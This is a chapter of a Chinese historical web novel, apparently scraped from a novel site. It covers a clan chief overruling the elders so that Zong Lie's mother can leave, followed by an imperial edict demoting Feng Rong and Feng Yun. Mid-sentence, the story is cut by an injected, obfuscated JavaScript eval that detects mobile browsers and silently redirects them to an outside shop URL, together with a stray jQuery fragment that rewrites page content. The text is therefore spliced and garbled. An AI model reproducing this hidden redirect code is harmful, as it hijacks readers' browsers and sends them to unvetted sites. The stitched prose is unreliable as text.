如玉环视四遭,见宗烈被人压制在后,族众指指点点,竟无一丝帮扶之意,难怪宗珍性情那般吊诡,她如今倒明白几分。
“想来今日不是头一回吧,怎至于演变至此?若因为我二人,如今马匹生意谈成,放我们离开就是。”如玉趁搀扶宗珍娘时,悄悄问道。
宗珍娘趴地时久,腿脚滞胀,颇吃力,无意中拽住如玉衣领,须臾间瞥见了衣领下雪白平滑的脖颈。
如玉见她吃力,索性将她半扶半抱地抬起,而后替她拍打衣装,并无嫌弃。
宗珍娘却不声不响盯着如玉。
“莫不是,今晨故意松着门,好叫我们两人跑出去?”见宗珍娘不说话,如玉猜测着。
宗珍娘:“你竟...唉!”叹出一口气,朝座上说道:“罢了,是我坏了规矩,请族长看在我家宗珍为商道奔波的份上,将他二人带回别驿处置。”
宗烈却喊道:“阿娘,这么多年才等来这个机会,你怎就放弃了?”
宗珍娘对宗烈摇摇头:“解决了你阿姐的事,也该知足了,我已这把年纪,罢了...”
宗烈不明白,阿娘趴在地上苦挨了一日,为何突然放弃。
“如此最好!”达尔孜点了点头,转向族老:“诸位还有什么意见?”
“此事,就交由族长做主吧!”族老们有了台阶,也不好再为难宗珍娘,便欲起身离去。
如玉却突然站出来阻拦:“等一下!”
宗珍娘以为她不懂羌厥话,拉住道:“你们不是要走?族长已答应带你们回别驿,没事了。我们娘仨这几日欠你们的,日后宗珍自有补偿。”
如玉回头:“宗珍可比您老人家心狠多了,此事若不办成,宗珍只怕还要为难我们...”说罢,走到达尔孜面前施礼道:“实不相瞒,正是因着莲儿与宗珍母女的义亲关系,我才勉强答应宗烈,转接了这烫手的生意。可今日这场面,才知你们并不真心欢迎我们,我看这生意也就罢了吧!”
宗烈听闻,急忙朝阿爷使眼色。
达尔孜笑道:“诶,都是误会,此事说来话长,待回到别驿,再商量不迟。”
如玉摇头遗憾道:“还有什么好商量的?我二人不过因大雪过路,借宿一晚,便害干娘至此;往后哪还敢再来相见?若不能让莲儿见到干娘,我冒险做这趟生意还有什么意义?”转头对身后宝莲故作安慰道:“唉,莲儿,可怜你昨夜还那样欢喜,盼着日后多年都可随着马队常来见你干娘...只怕咱们再不能来了,你就好好与干娘道别吧,可怜你没了母亲,连干娘也亲近不得了...”
宝莲会意,抱着干娘就哭了出来:“干娘~我舍不得您!”
宗烈恍惚,即便是阿姐见了阿娘,她二人也不曾这样母女情深...难怪这云掌柜昨日谈生意那般爽快,原来是因为女人啊!阿姐还真是厉害,认了个值钱的义妹呢!
心知马匹生意事涉长远,达尔孜没有其他选择,望向几位族老,不得不施压道:“宗烈已经成年,按照族规,也不该再留着她了。”
族老们:“若留不住,也该杀了她!”
达尔孜笑笑:“也罢,你们谁来执刑?”
族老们左推右搡,最后竟推给达尔孜:“我们都老了,不久就要侍奉神灵去了,怎能双手沾上南蛮人的血。她既是你的儿媳,就交给你裁决吧。”
达尔孜苦笑道:“呵,我已为神灵献祭了我的长子,还不够么?这么多年,为了偿还你们与族人的连罪之苦,我苦心经营商道,好吃好喝供应,可是让你们都忘了,谁才是这里的主人?”
达尔孜久居商道别驿,多年未归营部,以至营部早已是几个族老们的一言堂。他今日突然说出这话,怎不叫众人吃惊?族老们如今已年迈,族中青壮年又多在商道务事,营部所居大多老弱妇孺...若达尔孜此时要打个回马枪,他们再不可敌。
“达尔孜!若不是当年,你纵容包庇儿子,我们好端端,怎会受你连累,沦落至此!我们的儿子本该纵马草原,又何至于全沦落为商贩走卒?你莫欺我们老了,便要踏着我们的尸骨颠倒乾坤!”族老们气势汹汹,讨伐一般。
这么多年过去,仇恨不曾因为自己的负重前行而有半分削减,反而越发变本加厉似的,达尔孜愤而站起:“我念着你们是我的族人,受我父子连累,过往即便你们做出再过分的事,我都听之任之,可这么多年了,你们却全当是理所应该!草原纷争时,连带之罪,哪个部族没有经历过?甚至多少全族尽被杀光,你们遇到我达尔孜,比他们幸运多了!成王败寇,哪有什么应不应该!我达尔孜荣耀时,你们有福同享,我有难之时,你们不能同当便罢了,还要视我为敌,处处紧逼,当我真是欠你们的?!”
两下撕破脸,族老们:“你!你...好啊,达尔孜,你早就等这日了吧,难怪冒雪赶回来,你这是急着回来索我们的命啊!我们赖活了这么多年,吃了你的饭了,让你觉得冤枉了?还给你就是,来啊,杀了我们,让天下人都看看,到底是谁对不起谁!”
“呵,你们还能活几日,现在舍得去死了?我达尔孜却不差你们这几口饭食,今日,我若要活着带走她,你们放是不放?”达尔孜不想再多费口舌。
这些年来,年轻族人们都吃过商道的甜头,早已被达尔孜笼络;而妇孺们,也清楚知道各自的丈夫或儿子皆因商道而有事可做,且因被贬反而躲过了数年征伐,虽不能建功立业,却也能守家守业,她们也不想再有变数,因此眼看着达尔孜族长与各位族老们争执,却并无反意。
族老们却知此为营部权力之争,豁出去似的:“除非我们死!”
达尔孜冷笑一声,朝围观的族众问道:“你们往日处处为难欺负宗珍的阿娘,现在宗珍出息了,你们可还想让她阿娘留在这里?或者,你们也觉得她该横着出去与宗珍团聚?”
族众并不在乎权力落在谁的手里,只要日子好过罢了,谁又愿意与如今的宗珍一家为难?鸦雀无声许久之后,一名老妇说道:“族长与族老们各有各的道理,不如折中,只要她肯与子女断绝关系,便按着族规,赶出去就是了。”
宗烈欲上前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729748|137006||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
骂她,阿娘却突然叫住:“宗烈闭嘴!你已经成年,阿娘责任已毕...你从今日起,不用再叫我阿娘了!”转而对方才出面的老妇笑着点点头,以示谢意。
宗烈见状,忍下委屈,不再多嘴。
“族长,我愿与宗绰、宗珍、宗烈三子断绝母子关系,从此不再踏足草原!族老们也可放心,我此生再不与儿女们相见,他们只属于草原!”
族人们哗然:
“她平日可是宁可自己受委屈,也不愿子女受苦半分,怎么狠得下心?”
“是啊,怎么说得出啊?”
“她是铁了心要走。”
“她本来也不属于这里,我看走了好,留下来就是个麻烦。”...
见族众如此反应,族老们面面相觑。
达尔孜:“难得你委曲求全,也罢,就如此吧!”说罢,挥手命随从上前将人接走。
一族老还要阻拦,被其他族老审时度势扯回,无奈只好也便默许,但见宗烈跟上,大呵道:“宗烈留下!”仿佛力搏最后一道体面似的,势要将宗烈与他阿娘当下就要分开,毫不留情面。
宗烈急得不知所措,为阿娘的自由走到这一步,虽成功了,却也付出了太大的代价,他还是年轻,当下无措,不知该进该退。
阿娘却头也不回,笃定地被人搀上了车驾。
宗烈终于哭着在后喊出一句:“阿娘!”
.......
封云、如玉、李德威三人快马加鞭赶回府中。
封荣与刘公公已换好朝服,等在前厅。封荣见只有他三人归来,再无外人,小声吩咐老胡管家将所有门房关闭,府中闲杂人等皆不得入前厅。
封云尚未来得及拜敬父亲,便听封荣对刘公公说道:“这便是犬子封云一家,并无外人,公公可即刻宣旨。”说罢,便朝京都方向跪下接旨。
想来另一匹快马便是眼前这刘公公的,他二人从京都赶来,竟未带一个仆从,必是要事。封云已随父跪在身后,李德威则拉着如玉一同随封云身侧跪下。
刘公公方才宣读圣旨:“奉天承运,皇帝诏曰:代州两城失守,实因雾原军联防中都不利,懒政怠战。今免封荣兵部尚书之职,降为雾原节度使,统领代、隽、陇三州兵力驱逐外虏。免封云雾原节度观察留后之职,降为星海青州知州,赴剿庞显内乱,以观后效。钦此!”
父亲竟是被贬回雾原?那两城分明是中都军所丢,何来雾原军懒政怠战!没想到段立文竟是非颠倒,将罪责归咎在雾原军...封云正义愤填膺时,封荣却坦然接过圣旨:“谢皇上隆恩!”
见父亲即刻接旨,封云转念:自己虽做了垫背,被贬斥外地;但父亲却因此得以离京,做回雾原节度使,兵权失而复得,明贬实升罢了。只要雾原军权还在封家,便不愁来日,只是自己难免要受些窝囊气。先帝在时便要拆散他们父子才安心,如今这小皇帝照猫画虎,此举仍是要将他父子二人分散罢了,封云为了父亲,只能得耐,便也不争不辩,随父亲身后坦然跪谢道:“谢皇上隆恩!”